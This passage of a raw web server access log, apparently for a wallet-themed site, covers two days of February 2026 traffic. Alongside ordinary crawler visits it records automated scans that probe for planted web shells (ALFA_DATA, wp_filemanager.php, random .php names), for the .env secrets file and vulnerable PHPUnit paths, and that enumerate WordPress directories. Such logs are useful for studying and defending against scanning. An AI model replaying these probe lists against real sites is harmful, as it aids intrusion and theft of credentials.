[20/Feb/2026:08:57:18 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:57:52 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:57:56 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:57:59 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:34 +0300] "GET /jodohghi.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:37 +0300] "GET /lmlwpbmm.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:41 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:59:43 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:57:41 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 69.171.231.3 - - [20/Feb/2026:08:27:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 74.248.34.156 - - [20/Feb/2026:08:58:12 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [20/Feb/2026:08:58:50 +0300] "GET /ws58.php HTTP/1.1" 301 795 "-" "-" 43.166.136.24 - - [20/Feb/2026:09:45:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.156.204.134 - - [20/Feb/2026:10:38:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 139.255.253.74 - - [20/Feb/2026:10:50:25 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" 139.255.253.74 - - [20/Feb/2026:11:00:50 +0300] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" 192.71.30.89 - - [20/Feb/2026:12:27:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/93.8.2357.5" 192.71.2.171 - - [20/Feb/2026:12:27:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/93.8.2357.5" 74.125.212.137 - - [20/Feb/2026:13:02:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 74.125.212.137 - - [20/Feb/2026:13:02:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 69.171.231.27 - - [20/Feb/2026:13:23:21 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 182.42.111.213 - - [20/Feb/2026:14:31:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.142.7 - - [20/Feb/2026:15:42:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 152.32.146.121 - - [20/Feb/2026:18:20:17 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 138.68.174.53 - - [20/Feb/2026:18:00:01 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://www.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 115.190.188.4 - - [20/Feb/2026:18:03:34 +0300] "GET /shuf:%20%27MZ-%2A%27:%20No%20such%20file%20or%20directory HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 124.122.241.4 - - [20/Feb/2026:17:50:53 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.228.73 - - [20/Feb/2026:16:33:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 138.68.174.53 - - [20/Feb/2026:18:00:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 52.169.206.229 - - [20/Feb/2026:18:43:17 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 193.32.126.230 - - [20/Feb/2026:19:36:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 182.44.9.147 - - [20/Feb/2026:20:55:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.59.170.194 - - [20/Feb/2026:21:26:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 13.59.170.194 - - [20/Feb/2026:21:26:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 115.45.43.11 - - [20/Feb/2026:21:03:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3315.57 Safari/537.36 OPR/63.0.3368.43" 60.246.182.143 - - [20/Feb/2026:22:25:13 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 157.15.40.88 - - [20/Feb/2026:22:39:24 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 49.51.183.220 - - [21/Feb/2026:00:01:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 146.70.178.252 - - [21/Feb/2026:00:33:28 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:31 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:47 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:07 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:59 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:02 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:22 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:35 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:06 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:43 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:14 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:29 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:53 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:13 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 43.166.134.47 - - [21/Feb/2026:01:35:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 136.144.33.169 - - [21/Feb/2026:01:53:15 +0300] "GET /license.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" 162.142.125.220 - - [21/Feb/2026:02:05:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 146.70.178.252 - - [21/Feb/2026:00:34:12 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:09 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:16 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:17 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:17 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:17 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:18 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:18 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:18 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:19 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:19 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:58 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:12 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:17 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:17 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:17 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:18 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:38:18 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:11 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:15 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:46 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:20 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:53 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:56 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:56 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:35 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:40 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:40 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:44 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:47 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:50 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:54 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 178.20.42.24 - - [21/Feb/2026:00:42:18 +0300] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 136.144.33.166 - - [21/Feb/2026:01:53:16 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" 136.144.33.217 - - [21/Feb/2026:01:53:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0" 146.70.178.252 - - [21/Feb/2026:00:32:29 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:32 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:22 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:26 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:32 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:34 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:38 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:56 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:59 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 136.144.33.243 - - [21/Feb/2026:01:53:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" 146.70.178.252 - - [21/Feb/2026:00:32:45 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:45 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:46 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:46 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:46 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:46 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:46 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:46 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:56 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:52 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:18 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:33 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:43 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:43 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:04 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:04 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:04 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:05 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:05 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:05 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:05 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:06 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:06 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:18 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:18 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:18 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:18 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:18 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:18 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:19 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:19 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:19 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:04 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:04 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:04 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:22 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:25 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:29 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:37:33 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:32:41 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:40 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:33:56 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:34:00 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:23 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:35:27 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.178.252 - - [21/Feb/2026:00:36:43 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 136.144.33.175 - - [21/Feb/2026:01:53:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" 136.144.33.185 - - [21/Feb/2026:01:53:15 +0300] "GET /readme.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" 43.140.247.223 - - [21/Feb/2026:02:50:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 177.223.41.34 - - [21/Feb/2026:03:02:03 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.238.121.35 - - [21/Feb/2026:02:38:04 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.121.35 - - [21/Feb/2026:02:38:15 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 49.48.66.40 - - [21/Feb/2026:02:46:51 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 186.65.109.21 - - [21/Feb/2026:03:27:42 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.213.152.227 - - [21/Feb/2026:05:07:03 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 212.227.100.3 - - [21/Feb/2026:05:06:35 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.232.88.90 - - [21/Feb/2026:06:14:50 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 4.232.88.90 - - [21/Feb/2026:06:14:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.232.88.90 - - [21/Feb/2026:06:14:55 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 69.171.231.114 - - [21/Feb/2026:07:07:28 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 101.32.15.141 - - [21/Feb/2026:09:18:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 134.199.237.163 - - [21/Feb/2026:09:26:59 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 134.199.237.163 - - [21/Feb/2026:09:26:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.153.10.83 - - [21/Feb/2026:10:17:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.212.150.122 - - [21/Feb/2026:09:54:35 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 103.125.146.82 - - [21/Feb/2026:10:58:28 +0300] "GET /vendor/phpunit/phpunit/phpunit.xsd HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 80.85.245.5 - - [21/Feb/2026:10:38:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.189.202.45 - - [21/Feb/2026:12:17:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.182.206.241 - - [21/Feb/2026:14:49:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 81.171.74.45 - - [21/Feb/2026:14:39:31 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74.243.251.125 - - [21/Feb/2026:14:45:58 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 120.71.59.24 - - [21/Feb/2026:15:08:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.135.203 - - [21/Feb/2026:15:38:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.220.149.35 - - [21/Feb/2026:16:10:46 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.166.136.202 - - [21/Feb/2026:16:33:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.159.43.135 - - [21/Feb/2026:16:39:05 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:05 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:05 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 